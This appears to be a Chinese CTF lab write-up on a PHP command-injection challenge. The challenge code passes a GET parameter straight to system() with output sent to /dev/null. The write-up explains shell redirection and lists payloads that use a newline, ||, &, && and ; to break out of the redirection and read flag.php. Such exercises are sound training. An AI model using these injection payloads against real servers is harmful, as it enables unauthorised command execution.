image-20250306185145733

[!Important]

RCE重定向截断

0x01

访问靶场,回显源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

0x02

审计源码

[!note]

1
2
3
<?php
system($c." >/dev/null 2>&1");
?>

>代表重定向到哪里 /dev/null 代表空设备文件 2> 表示stderr标准错误 & 表示等同于的意思,2>&1,表示2的输出重定向等同于1 1 表示stdout标准输出,系统默认值是1,所以>/dev/null等同于 1>/dev/null 因此,>/dev/null 2>&1 也可以写成1> /dev/null 2> &1

本题语句执行过程为: 1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任何信息。 2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

故构造payload主要思路为截断system($c)语句

方法如下

1
2
3
4
5
?c=cat flag.php%0a
?c=cat flag.php||
?c=cat flag.php%26
?c=cat flag.php%26%26
?c=cat flag.php;

0x03

payload尝试查看当前目录,发现flag.php

image-20250306191032301

访问flag.php,获得flag

image-20250306191203556